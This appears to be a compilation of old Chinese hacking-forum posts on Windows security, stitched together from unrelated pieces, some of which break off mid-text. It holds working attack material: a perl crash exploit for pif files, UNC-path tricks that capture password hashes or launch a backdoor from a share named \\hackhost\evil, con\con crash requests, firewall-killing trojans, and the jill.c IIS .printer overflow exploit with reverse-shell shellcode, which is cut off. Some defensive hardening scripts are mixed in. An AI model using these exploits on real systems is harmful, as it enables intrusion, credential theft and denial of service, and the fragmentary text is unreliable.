使用tar非常类似于使用诸如Windows环境下的Winzip、WinRAR这样的文件实用工具。只需将它指向一个目的(可以是文件或设备),然后指定想要打包的文件,就可以通过标准的压缩类型来动态压缩归档文件,或指定一个自己选择的外部压缩程序。要通过bzip2压缩或解压缩文件,可使用tar -z命令。   下面是一个简单的使用该工具进行数据备份的例子:      tar czvf - /root/code > /tmp/code_bak.tgz (将/root/code目录下的所有程序文件打包备份到/tmp/code_bak.tgz)      tar xzvf /tmp/code_bak.tgz /root/code (将备份的目录文件恢复到指定目录)      cpio工具介绍      cpio命令可以从tar或者cpio档案文件中拷入或者拷出文件。cpio命令和tar命令兼容,但是这个命令具备一些tar命令没有的功能,如下所示:      ● 支持cpio和tar两种档案文件格式;      ● 支持许多老式磁带数据格式;      ● 能够通过一个管道(pipe-line)读取文件的文件名。      目前看来,只有很少的Linux软件包是以cpio格式发行的。用户如果对cpio命令的详细情况感兴趣,可以通过“man cpio ”命令阅读它的使用手册。  dump 和 restore介绍  dump可以执行类似tar的功能。然而,dump倾向于考虑文件系统而不是个别的文件。dump检查ext2文件系统上的文件,并确定哪些文件需要备份。这些文件将出于安全保护而被复制到给定的磁盘、磁带或其他存储媒体上。在大多数媒体上,容量是通过一直写入直至返回一个end-of-media标记来确定的。   配合dump的程序是restore,它用于从转储映像还原文件。restore命令执行转储的逆向功能。可以首先还原文件系统的完全备份,而后续的增量备份可以在已还原的完全备份之上覆盖。可以从完全或部分备份中还原单独的文件或者目录树。
部析桂林老兵同志的利器(虚拟主机查询)的补充版! 大家好,我是百度红客贴吧的吧主:HappyQQ前一个教程,我给你们讲了桂林老兵利器(虚拟主机查询)其中的一个虚拟主机是如何得到的,今天我不小心发现桂林老兵那个利器,还有一个功能就是能够得出域名(IP)所对应的物理地址!请看我的操作!看到了吗?www.163.com所对应的物理地址(也就是IP被分配的所在地)是在北京但是,我想了一下,不可能这个工具内含一个数据库来对应IP段吧?呵呵,想想应该不可能吧,接着,我又跟踪它,桂林老兵同志,你可别打我噢!(调皮)接着又打开我们的数据包截获利器!……看到了吧?我们的Host又出现了!先打开看看,到底是一个什么样的网站!呵呵,机子速度慢了些,不过,还是出来了!……这个网站是属于“ 北京市哲学社会科学规划办公室”的!先不管这么多,再看那个包里面还有什么好东东!看到没有,学过网络编程的(比如VB里面网络编程)GET /doorway/cgi-bin/getclientip.asp?IP=202.108.36.203(这是一个Get方法,用VB里面一个网络控件来解析这个方法,"get"是得到一个页面的源代码!呵呵,先试试看!把"get"后面的那些字符加到那个Host后面,看看结果是不是我想像中的那样,别着急!看着我的操作!……呵呵,先看一下那个页面的代码是什么?……呵呵,是不是很简单的呀?—……我们只要把那个get所得到的页面的源代码用msgbox()显示出来就OK了!好了,桂林老兵的这个虚拟主机查询基本上被我说透了,我也不想再模仿他的再制造类似的工具了!(顺便说一句“对不起了,桂林老兵”)呵,好了,教程就做到这为此吧,欢迎你们去中国百度红客贴吧作客!再见!
你装了天网防火墙,就安全了吗?呵,现在没这回事了! 攻破天网的几种办法 天网是大家常用的防火墙软件,有许多人撰文提议安装天网,一时间天网防火墙成了菜鸟、高手必备工具。这样做当然好,至少说明了大家的网络安全意识提高了许多。但万事都有个“度”,超过这个“度”就不好了。现在有许多人对天网的迷信达到了痴迷的程度,认为安装了天网就高枕无忧了,他们在上网时只是打开天网,至于天网运行得怎么样就不管了。其实,就在此时你危险了! 一、堡垒往往是从内部被攻破的   堡垒往往是从内部被攻破的,这话一点都不假。远在古希腊时代,坚固的城墙没有保护住特洛伊人的家园,被一个小小的木马所攻破,在今天这个道理依然应验。 1.用黑毒克星或NoSkyNet   目前的天网防火墙可谓树大招风,天网也逐渐成为了黑客们攻击的主要对象!针对它的黑客工具也层出不穷,黑毒克星和NoSkyNet就是其中之一。这两个软件共同的特点之一就是小巧隐蔽,另一个特点就是它们将天网破坏殆尽后,居然还能让天网防火墙在任务栏正常显示图标!具有极大的危害性和欺骗性。   虽然黑毒克星和NoSkyNet必须被运行它们才有机会破坏天网防火墙,但百密难免一疏,对于仅几k大小的黑毒克星、NoSkyNet,真的很难保证不会中招(黑客们当然不会那么傻,他们会把黑毒克星、NoSkyNet改名,如改为系统优化或微软补丁之类的名称,这样如果你运行了这些“优化补丁”,你的天网就完了!),对付它们只能自己小心了。 2.用黑洞2001   黑洞2001是个木马程序,具有出色的多进程监控功能。随着大家安全意识的不断提高,大多数人都安装了网络防火墙,木马们的生存空间越来越小,为生存计,木马开发者想出了一个办法,他让木马服务端定时刷新进程,如果发现其中的进程名称与其事先定义好的相符合,就将这个进程关闭,如果这个被关闭的进程恰巧就是防火墙,那你的网络大门就完全敞开了,监控端就可为所欲为了。   事实上这个功能就是针对防火墙出现的,一切堡垒都是从内部被攻破的在此得到了充分的体现。其实在黑洞2000中就有了这样的功能,只不过黑洞2000只能关闭天网防火墙,对其它防火墙没有任何作用。黑洞2001则可以定义长达99个英文字符号,完全可以将您可能会用到的防火墙都定义到其中,从而可将这些防火墙全部关闭! 对于黑洞2001的多进程监控功能,让我们作一个小测试。首先,在客户端作配置。点击“修改远程服务器端设置”按钮,再点击其中的“智能监控”标签。   在“进程监控”栏中添入“墙,毒,LOCK”,选中“使用进程监控”,然后点击“修改配置”保存设置。在服务端运行天网防火墙、金山毒霸、Lockdown、PC-Cillin等软件,一分钟后这些软件被自动关闭!由上可以看出如果你中了黑洞2001,那么你的防火墙就全成了聋子的耳朵——摆设! 3.利用“反弹端口”型木马   国内第一个“反弹端口”型木马“网络神偷”就可以突破天网防线,使天网失效。“正常”木%
Windows快捷方式存在多个安全漏洞 (MS,缺陷) 发现者:< a href="mailto:[email protected]">tombkeeper1、 Windows快捷方式包括扩展名为lnk、pif、url的文件。其中url文件为纯文本格式lnk和pif文件为二进制文件。这三种快捷方式都可以自定义图标文件,当把图标文件名设定为Windows的默认设备名时,由于设备名称解析漏洞,可导致Windows 95/98系统崩溃。由于对图标的搜索是由Explorer自动完成的,所以只要快捷方式在资源浏览器中出现,就会导致系统崩溃。如果快捷方式在桌面上,那么系统一启动就会崩溃。只有以DOS启动系统,在命令行下删除。由于无法直接设置图标文件名为设备名,只有通过直接编辑的方式来创建。测试:------把以下代码存为“crash.url”------[InternetShortcut]URL=http://127.0.0.1/IconIndex=1IconFile=C:\con\con.dll--------------END---------------------对于lnk和pif文件可先更名,再通过16进制编辑器更改相应字段。2、 对于Windows NT/2000系统不会由于设备名称解析而崩溃。但当我们创建一个完全由ASCII字符填充组成的pif文件时会出现以下情况: 1)一个非法的pif文件(用ascii字符'x'填充)至少要369字节,系统才认为是一个 合法的pif文件,才会以pif的图标[pifmgr.dll,0]显示,才会在属性里有程序、 字体、内存、屏幕”等内容。而且仅仅当一个非pif文件的大小是369字节时察看 属性的“程序”页时,不会发生程序错误,哪怕是370字节也不行。当对一个大于 369字节的非法pif文件察看属性的“程序”页时,Explorer会出错,提示: "0x77650b82"指令引用的"0x000000000"内存。该内存不能为"read" 但这种错误并不会引起缓冲溢出的安全问题。初步分析了一下,问题出在pif文件 的16进制地址: 0x00000181[0x87]0x00000182[0x01]和 0x00000231[0xC3]0x00000232[0x02] 即使是一个合法pif文件,只要改动这四处的任意一处,也会引起程序错误。而只 要把0x00000181和0x00000182的值改为[0xFF][0xFF],那么其它地址任意更改 都不会引起错误。 2)当一个大于30857的非法pif文件(用ascii字符'x'填充)出现在资源管理器中时, 会使系统的CPU资源占用达100%,根本不能察看其属性页。也无法在资源管理器中 对其进行任何操作,甚至不能在命令提示符中删除。试图删除时会提示会提示: “进程无法访问文件,因为另一个程序正在使用此文件。” 但只要把0x00000181和0x00000182中任意一处改为[0xFF]这种情况就不会发生。 这是由于资源浏览器试图显示其实并不存在的图标引起的。如果快捷方式在桌面 上,那么系统一启动这种情况就会出现。只有使用任务管理器中止Explorer.exe 的进程,再启动一个命令提示符,从命令行下删除。 此问题仅影响Windows NT/2000系统,不影响Windows 95/98。测试代码:----------------------------------------#!perl#Windows NT/2000 pif_Crash_Exploit#silly code by [email protected] (FH,">full.pif") or die "$!";print (FH 'x'x30858);close (FH);system ("cmd /c start taskmgr.exe");----------------------------------------3、 由于快捷方式显示的图标是由Explorer自动从设定的路径中获取的,而Windows快捷方式的图标文件设置支持UNC路径,入侵者可以使用如下社交工程学诡计获得用户口令散列值:在一台主机hackhost启动一个sniffer程序,通过邮件或其他方式向主机target的用户发送一个图标设制为UNC路径\\hackhost\c\foo.ico的快捷方式,只要此快捷方式出现在资源管理器中,Explorer就会试图用当前用户的帐号连接hackhost以获取foo.ico,这样,用户的口令散列值就会被sniffer记录,可以通过一些工具破解。4、 在Windows NT/2000系统的pif文件的“属性”-->“程序”-->“高级”-->“自定义MS-DOS 初始化文件”中的“Autoexec 文件名”和“Config 文件名”默认是:%SystemRoot%\SYSTEM32\AUTOEXEC.NT和%SystemRoot%\SYSTEM32\CONFIG.NT这两个文件名支持UNC路径。利用这个弱点,入侵者可以进行如下社交工程学诡计:在一台主机hackhost上建立共享文件夹evil,在文件夹evil中包含文件foo.nt和backdoor.exe。foo.nt的内容是:“.\backdoor.exe”再通过邮件或别的方法发送一个看起来完全无害的game.pif,这个game.pif的“Autoexec 文件名”是“\\hackhost\evil\foo.nt”。用户打开game.pif就会执行backdoor.exe,而且是在后台运行。 使用UNC路径时“Autoexec 文件名”和“Config 文件名”默认的当前目录是C:\。5、 win32PE程序的扩展名改为pif后,任然可以正常运行,可以蒙蔽一些用户执行恶意程序。SirCam病毒就利用了这一点。
设备名称解析漏洞允许用户远程攻击,导致windows98系统崩溃 请求访问系统上一些包含设备名的非法路径,这将导致windows9x崩溃。当windows解析这些路径时,内核的溢出导致整个系统出错。这时你只有重新启动系统才能恢复正常,没有其它的选择。发现有五个设备或设备驱动程序可以使系统崩溃。它们是:CON、NUL、AUX、CLOCK$、CONFIG$,其它的设备如 LPTx和COMx 则不行。把这些组合起来形成一个路径,如: CON\NUL, NUL\CON, AUX\NUL,只要请求成功,windows系统将崩溃。下面是在 IO.SYS 里面关于这些设备的定义:DEVICE DRIVERS--------------These are specified in IO.SYS and date back from the early Ms Dosdays. Here is what I have found. Here is a brief list;CLOCK$ - System clockCON - Console; combination of keyboard and screen to handle input and outputAUX or COM1 - First serial communicationportNUL - Dummy port, or the "null device" which we all know under Linux as /dev/null.CONFIG$ - Unknown只要能对这些路径进行请求,不管是远程,还是本地,都可以令系统崩溃,下面是几种方式:(1)如果目标机器上存在共享,不管该共享资源有没有设置密码,都可以用这个办法使系统当机:比如机器192.168.0.2上有一个名称为d的共享,则在"运行"中输入下面的命令可以使目标windows9x系统崩溃:\\192.168.0.2\d\nul\nul唯一的要求是兰色字的必须是正确的路径,否则无效在网上有大量的windows95/98的机器,其打印机共享是打开的。这个共享是入侵windows95/98的入口,通常它对应 c:\windows\system属于只读共享。这种攻击方式对这类机器是很有效的:\\192.168.0.2\printer$\nul\nul(2) 制作包含下列HTML代码的一个网页,通过邮件方式(outlook)或者浏览器设法让攻击目标打开 http://tieba.baidu.com/mo/q/checkurl?url=c%3A%5Ccon%5Ccon&urlrefer=c053cb35023bc9f5330ec9d15ebc4424 (3) 如果攻击目标上安装了web server,如Microsoft Person web server,或者Frontpage Extention Server,用: "Get /con/con" 或者 "Get nul/nul" 的请求,就可以远程当掉 windows 系统,比如: http://xxx.xxx.xxx.xxx/nul/nul 如果目标上安装了FTP server,也可以使用上述 GET 命令来达到目的。(4) 在注册表的: Inserting HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\_ 项,用 c:\con\con "%1" %* or c:\nul\nul "%1" %* 的值,也可以使系统当机。这是宏病毒的一种常用攻击方式。(5)下面的HTML代码也可以达到目的: 以上的情况只适用于IE浏览器。下面列出一个利用这个溢出造成windows95/98/SE系统崩溃的程序,要求目标上安装有web serverflog.c
IIS 5.0 的".printer"应用程序映射存在缓冲溢出及其功击程序代码 默认情况下,IIS 5.0服务器存在一个后缀为"printer"的应用程序映射,这个映射使用位于\WINNT\System32\下的名为 msw3prt.dll 的动态库文件。这个功能是用于基于Web控制的网络打印的,是Windows2000为Internet Printing Protocol(IPP)协议而设置的应用程序功能。不幸的是,这个映射存在一个缓冲区溢出错误,可以导致inetinfo.exe出错,允许黑客通过web获取服务器的管理权限,黑客制造一个 .printer 的ISAPI请求,当Http host参数的值达到420个字符时,就会发生缓冲区溢出:GET /NULL.printer HTTP/1.0Host: [buffer]当上述 [buffer]值的字符数目达到420时,缓冲区溢出。这时,Web Server会停止响应。Windows2000操作系统发现Web异常停止后,会自动重启。通过构造包含适当的Shell Code的脚本, 黑客可以以system用户的身份,不停地远程通过web执行任何指令。这个漏洞的危害比IISHACK更大,原因是由于IIS4.0不自动重启的原因,用IIShack黑客只能获得一次Shell,而通过这个漏洞,黑客可以不停地利用。目前Internet上已经有一个exploit程序,可以绑定系统的cmd.exe程序,从而自由地执行指令。以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负/* IIS 5 remote .printer overflow. "jill.c" (don't ask).** by: dark spyrit ** respect to eeye for finding this one - nice work.* shouts to halvar, neofight and the beavuh bitchez.** this exploit overwrites an exception frame to control eip and get to* our code.. the code then locates the pointer to our larger buffer and* execs.** usage: jill ** the shellcode spawns a reverse cmd shell.. so you need to set up a* netcat listener on the host you control.** Ex: nc -l -p -vv** I haven't slept in years.*/#include #include #include #include #include #include #include #include #include #include #include #include int main(int argc, char *argv[]){/* the whole request rolled into one, pretty huh? carez. */unsigned char sploit[]="\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20""\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42\x65\x61\x76\x75\x68\x3a\x20""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90""\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95""\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95""\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3""\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa""\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91""\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6""\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56""\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55""\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95""\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
Google桌面搜索引擎差点儿成为绝好黑客工具 Google公司日前称,它的桌面搜索工具上一个漏洞已有了解决办法,该漏洞可导致黑客搜索到运行该工具的个人电脑上的内容。据这家网络搜索公司周一发布的一份声明称,它已为该漏洞推出了一个补丁。该漏洞是由赖斯大学(Rice University)的一位计算机科学家和他的两个学生在11月底发现的。Google的一位代表称,我们了解到了Google桌面搜索软件上的这个漏洞并已对它进行了修补,因此所有当前和未来的用户都可以安全的使用了。“赖斯大学计算机科学助理教授Dan Wallach和他的两个研究生Seth Fogarty和Seth Nielson一起工作的时候发现了这个漏洞。Wallach把它描述为一个合成缺陷——几个不同的部件在交互过程中产生的一个安全漏洞。据首先披露该漏洞的《纽约时报》称,Wallach, Fogarty和Nielson发现,Google桌面搜索工具寻找看似通向Google.com的路径,然后将来自用户硬盘的搜索结果插入进去。他们成功地诱使Google桌面搜索程序将那些结果插入到了其它的网页,而工具者就可以在那里读到它们。但这只有在一个用户访问了一个工具者的网页时才能发生,该网页上的一个Java程序(如赖斯团体编写的)将可以欺骗Google桌面软件提供该用户的信息。发现该漏洞的几天前,研究公司Gartner警告企业用户远离Google桌面搜索工具,直到一个更完善、专门为企业制定的版本发布时才考虑使用。安全专家曾警告说病毒作者可能会利用桌面搜索工具来使它们的恶意软件变得更为有效。
我的文件不能够让你轻易找到!(呵呵,已经被我藏起来了!)  战况分析:为了保护自己的隐私,我们经常需要将一些机密文件加密隐藏,以避免被他人看到,那么,在多种隐藏加密文件的方法中,哪种既高效又易于使用呢?计策如下:在硬盘分区格式化时,划分出一小块分区(容量自定,别太贪心,自己够用即可),或者在已分好区的电脑中用硬盘分区魔术师另行划分出一小片分区,专供自己保存数据。然后在Windows中利用注册表进行操作,将此分区整个进行隐藏。  注册表操作如下:运行REGEDIT。依次打开:HKEY_CURRENT_ USER\Software\Microsoft\Windows\CurrentVersion\Polices\Explorer\,在右边空白处单击右键,选新建二进制值,在出现的新值#1上右击鼠标,进行重命名,改名为NoDrives。双击该键值,输入00 00 00 00(不带空格,直接输入,此为系统缺省值,全部分区都显示出来,无隐藏分区)。其中第一组“00”代表A-H盘,第二组“00”代表I-P盘,三、四组依此类推。将第一组“00”改为01可隐藏A盘,改为02可隐藏B盘,改为04可隐藏C盘,改为08可隐藏D盘,改为10隐藏E盘,改为20可隐藏F盘,改为40可隐藏G盘。比方说,像我隐藏的是E盘,将键值改为“10 00 00 00”即可。  修改完毕后,直接回“我的电脑”中,刷新可见到效果。这样,通过上述方法处理后,神不知鬼不觉地就拥有了只属于自己的一片天空。无论是在“我的电脑”中,还是在Windows资源管理器中,甚至在地址栏下拉菜单中,都不会出现它的身影。  那自己想进去怎么办呢?是不是每次都需要修改注册表呢?答案当然是不用了。在地址栏中直接输入“E:”,回车即可直接进入。  编辑点评:采用该方法适用于隐藏多个文件,虽然开始设置麻烦一些,但以后隐藏文件时则较轻松。不足之处是如果有人挨个尝试盘符,则该隐藏方法形同虚设,不能真正达到保护个人隐私的要求。  如果您对此有何高见,请来信寄给我们或者参与以下的讨论,我们将把您的方法刊载出来与广大读者共享
怎样安全设置你的计算机?我们用批处理命令也可以办到! @goto star========================================================功能: 1、禁止匿名登录 2、禁止显示前一个登录用户名称 3、禁止登录前关机版本:1.0整理:Netu0创建日期:2003.09.25:star@if "%1"=="/?" goto Usage@echo 正在修改注册表...@REM [注册表文件头]@echo Windows Registry Editor Version 5.00 >ChangReg.patch@REM [禁止匿名登录]@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>ChangReg.patch @echo "restrictanonymous"=dword:00000001 >>ChangReg.patch@REM [禁止登录前关机]@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>ChangReg.patch@echo "Start"=dword:00000004 >>ChangReg.patch @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>ChangReg.patch@echo "Start"=dword:00000004 >>ChangReg.patch@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>ChangReg.patch@echo "ShutdownWithoutLogon"="0" >>ChangReg.patch@REM [禁止显示前一个登录用户名称] @echo "DontDisplayLastUserName"="1" >>ChangReg.patch@REM [导入注册表]@regedit /s ChangReg.patch@REM [清理临时文件]@del ChangReg.patch@echo 修改成功@goto Sub_End:Usage@echo.@echo 功能:@echo 1、禁止匿名登录@echo 2、禁止显示前一个登录用户名称@echo 3、禁止登录前关机@echo 版本:1.0@echo 创建日期:2003.09.25@echo.@echo 命令格式:@echo PatchServer@echo.@echo 请按任意键继续....@pause>nul@goto end:Sub_End@echo 系统补丁安装结束:end
取消admin$及C$等磁盘共享、禁止自动共享的批处理命令! @goto star========================================================功能: 1、取消admin$及C$等磁盘共享、禁止自动共享版本:1.0整理:Netu0创建日期:2003.09.25批处理文件的原创作者是谁?我也不清楚!……:star@if {%1}=={} goto Usage@if "%1"=="/?" goto Usage@echo.@Echo 正在删除共享%1$@net share %1$ /delete@if {%2}=={} goto StopServer@Echo 正在删除共享%2$@net share %2$ /delete@if {%3}=={} goto StopServer@Echo 正在删除共享%3$@net share %3$ /delete@if {%4}=={} goto StopServer@Echo 正在删除共享%4$@net share %4$ /delete@if {%5}=={} goto StopServer@Echo 正在删除共享%5$@net share %5$ /delete@if {%6}=={} goto StopServer@Echo 正在删除共享%6$@net share %6$ /delete@if {%7}=={} goto StopServer@Echo 正在删除共享%7$@net share %7$ /delete@if {%8}=={} goto StopServer@Echo 正在删除共享%8$@net share %8$ /delete@if {%9}=={} goto StopServer@Echo 正在删除共享%9$@net share %9$ /delete:StopServer@echo.@echo 正在更改注册表...@echo Windows Registry Editor Version 5.00> c:\delshare.reg@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg@echo "AutoShareWks"=dword:00000000>> c:\delshare.reg@echo "AutoShareServer"=dword:00000000>> c:\delshare.reg@regedit /s c:\delshare.reg@echo 注册表更改完成@echo.@echo 正在清理临时文件@del c:\delshare.reg@echo 临时文件清理完成@echo.@echo 正在刷新共享...@net stop Server@net start Server@echo 刷新完成@echo.@echo 指定共享已经删除@echo.@goto end:Usage@echo.@echo 功能:@echo 1、取消admin$及C$等磁盘共享、禁止自动共享@echo 版本:1.0@echo 创建日期:2003.09.25@echo.@echo 命令格式@echo DelShare [C] [d] [e] ... [admin] [print]@echo 例子@echo DelShare C d e f admin print@echo.@echo 请按任意键继续....@pause>nul:end @echo 呵呵,如果你不明白这个批处理里面的命令!……@echo 那么,我介意你去把Dos命令大全的书翻来看一看!@echo 这篇文章很有实用价值!……
Windows的自启动方式!(呵呵,这个地方也就是藏马的地方噢!) 呵呵,这篇文章很有价值性,所以,我就Copy至此!(版权归原作者所有!)___________________________________________________________这篇文章断断续续写了有一年,在有些论坛也曾经贴过,读者的回复是两种, 一是不错,二是抄袭。但是我可以保证所有的内容是我个人查阅的资料(包括大脑)和进行试验与思考的结果。如果这也算抄袭,那么我只好苦笑了。 参考的资料名称可以看目录。 如果有人来所取索取doc版本,来封信,我会mail给大家,呵呵。mailto:[email protected] Windows的自启动方式 正文: 最后一次修改日期:August 12, 2002 目录: WINDOWS的自启动方式 1 正文: 1 目录: 1 前言: 2 警告: 2 Windows的自启动方式: 2 1.自启动目录: 2 1.第一自启动目录: 2 2.第二自启动目录: 3 2.系统配置文件启动: 4 1.WIN.INI启动: 4 2.SYSTEM.INI启动: 4 3.WININIT.INI启动: 5 4.WINSTART.BAT启动: 6 5.AUTOEXEC.BAT启动: 6 3.注册表启动: 6 1.常规启动: 6 2.特殊启动1: 8 3.特殊启动2: 8 4.其他启动方式: 8 1.C:\Explorer.exe启动方式: 9 2.屏幕保护启动方式: 9 3.依附启动: 10 4.计划任务启动方式: 10 5.AutoRun.inf启动方式: 10 5.自动启动相关: 11 1.代启动: 11 2.Start启动: 12 3.控制面板启动: 12 4.其他: 12 最后: 13 主要参考资料: 14 http://www.tlsecurity.net/auto.html 14 http://support.microsoft.com/support/kb/articles/Q232/5/09.ASP 17 Syntax for the RunOnceEx Registry Key 17 SUMMARY 17 MORE INformATION 17 RunOnceEx Sample to Run Notepad 18 Sample Syntax 18 Notes 18 Definition of values and Subkeys 18 Wininit.ini与病毒(名称为笔者所加) 20 http://www.microsoft.com/technet/security/bulletin/fq00-052.asp 23 前言: 有时候人们往往会为了一个程序的启动而头痛,因为一些用户往往不知道那些文件是如何启动的。所以经常会有些没用的东西挂在系统上占用资源。有时候也会有人因为不知道如何启动某个文件而头痛。更有些特洛依木马的作者因为不清楚系统的自启动方式而使自己的木马轻松被别人发现…… Windows的自启动方式其实有许多方式。除了一些常见的启动方式之外,还有一些非常隐蔽的可用来启动文件的方式。本文总结如下,虽然不是全部,但我想应该会对大家有所帮助。文章全部以系统默认的状态为准,以供研究。 其中(English)代表英文操作系统,(Chinese)代表中文操作系统。本文没加说明说的全为中文Windows98操作系统。 警告: 文中提及的一些操作可能会涉及到系统的稳定性。例如如果不正确地使用注册表编辑器可以导致可能重新安装系统这样严重的问题。微软也不能保证因不正常使用注册表编辑器而造成的结果可以被解决。笔者不对使用后果负责,请根据自己的情况使用。 Windows的自启动方式: 1.自启动目录: 1.第一自启动目录: 默认路径位于: C:\windows\start menu\programs\startup(English) C:\windows\start menu\programs\启动(Chinese) 这是最基本、最常用的Windows启动方式,主要用于启动一些应用软件的自启动项目,如Office的快捷菜单。一般用户希望启动时所要启动的文件也可以通过这里启动,只需把所需文件或其快捷方式放入文件夹中即可。 对应的注册表位置: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders] Startup="%Directory%" [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders] Startup="%Directory%" 其中“%Directory%”为启动文件夹位置。 英文默认为:
Windows2000常用服务列表!(对你很有帮助) WIN2000提供服务的列表,包括详细的描述,服务名称,显示名称,可执行文件的路径!在命令提示符下可以启动,停止下面的服务。net start 服务名称net start 停止服务例:net start Telnet开启了Telnet服务,我们就可以用:telnet ipnet start Telnet停止Telnet服务=========================================================================服务名称:Alerter显示名称:Alerter描述:通知所选用户和计算机有关系统管理级警报。可执行文件的路径:C:\WINNT\System32\services.exe服务名称:AppMgmt显示名称:Application Management描述:提供软件安装服务,诸如分派,发行以及删除。可执行文件的路径:C:\WINNT\system32\services.exe服务名称:Ati HotKey Poller显示名称:Ati HotKey Poller描述:[]可执行文件的路径:C:\WINNT\System32\Ati2evxx.exe服务名称:ClipSrv显示名称:ClipBook描述:支持“剪贴簿查看器”,以便可以从远程剪贴簿查阅剪贴页面。可执行文件的路径:C:\WINNT\system32\clipsrv.exe服务名称:EventSystem显示名称:COM+ Event System描述:提供事件的自动发布到订阅 COM 组件。可执行文件的路径:C:\WINNT\System32\svchost.exe -k netsvcs服务名称:Browser显示名称:Computer Browser描述:维护网络上计算机的最新列表以及提供这个列表给请求的程序。可执行文件的路径:C:\WINNT\System32\services.exe服务名称:Dhcp显示名称:DHCP Client描述:通过注册和更改 IP 地址以及 DNS 名称来管理网络配置。可执行文件的路径:C:\WINNT\System32\services.exe服务名称:TrkWks显示名称:Distributed Link Tracking Client描述:当文件在网络域的 NTFS 卷中移动时发送通知。可执行文件的路径:C:\WINNT\system32\services.exe服务名称:MSDTC显示名称:Distributed Transaction Coordinator描述:并列事务,是分布于两个以上的数据库,消息队列,文件系统,或其它事务保护资源管理器。可执行文件的路径:C:\WINNT\System32\msdtc.exe服务名称:Dnscache显示名称:DNS Client描述:解析和缓冲域名系统 (DNS) 名称。可执行文件的路径:C:\WINNT\System32\services.exe服务名称:Eventlog显示名称:Event Log描述:记录程序和 Windows 发送的事件消息。事件日志包含对诊断问题有所帮助的信息。您可以在“事件查看器”中查看报告。可执行文件的路径:C:\WINNT\system32\services.exe服务名称:Fax显示名称:Fax Service描述:帮助您发送和接收传真可执行文件的路径:C:\WINNT\system32\faxsvc.exe服务名称:MSFTPSVC显示名称:FTP Publishing Service描述:通过 Internet 信息服务的管理单元提供 FTP 连接和管理。可执行文件的路径:C:\WINNT\System32\inetsrv\inetinfo.exe服务名称:IISADMIN显示名称:IIS Admin Service描述:允许通过 Internet 信息服务的管理单元管理 Web 和 FTP 服务。可执行文件的路径:C:\WINNT\System32\inetsrv\inetinfo.exe服务名称:cisvc显示名称:Indexing Service描述:本地和远程计算机上文件的索引内容和属性;通过灵活查询语言提供文件快速访问。可执行文件的路径:C:\WINNT\System32\cisvc.exe服务名称:Irmon显示名称:Infrared Monitor描述:支持安装在这台计算机上的红外设备并且检测在有效范围内的其它红外设备。可执行文件的路径:C:\WINNT\System32\svchost.exe -k netsvcs服务名称:SharedAccess显示名称:Internet Connection Sharing描述:为通过拨号网络连接的家庭网络中所有计算机提供网络地址转换、定址以及名称解析服务。可执行文件的路径:C:\WINNT\System32\svchost.exe -k netsvcs
朋友,你是不是还在用TC骗写一些DOS下面的应用软件呀?如果是的话,这 巧用CMOS加密软件防止非法拷贝作者:左巍 (呵呵,这可不是我原创的,我可写不出这样的好文章来,呵呵^^^)我们运行软件时经常会遇到以下情况,有的软件在一台机器上安装后就不能将其拷贝到其他机器上运行;有的软件甚至连原来机器的软,硬件配置改变后也无法再次运行.其实这些情况有的是利用CMOS对软件加密来实现的.安装软件时,通过安装程序把软件安装到硬盘上,同时把当前机器的CMOS信息保存到安装软盘上,也就是相当于保存了密钥.等到以后在硬盘上运行该软件时,软件的主程序会把记录在安装盘上的密钥与正在运行该软件机器的CMOS信息进行比较,如果完全相同,则允许软件继续运行,否则终止软件运行.国内的许多软件都是采用此原理进行加密的. 由于CMOS具有比磁盘更好的隐蔽性和正常DOS下的不可访问性,所以利用CMOS对软件进行加密是防止软件非法拷贝的一种方法.本文将重点介绍通过C语言利用CMOS对软件进行加密防止非法拷贝的实现方法. 一,CMOS数据格式 CMOS是互补金属氧化物半导体的缩写,其本意是指制造大规模集成电路芯片用的一种技术或用这种技术制造出来的芯片.在这里是指计算机主板上的一块可读写的RAM芯片.它靠系统电源和后备电池供电,系统掉电后内容不会丢失.它存储了机器软,硬件配置的基本信息,共有128个字节.系统在上电引导时要读取CMOS信息来初始化机器各部件状态. 二,加密原理 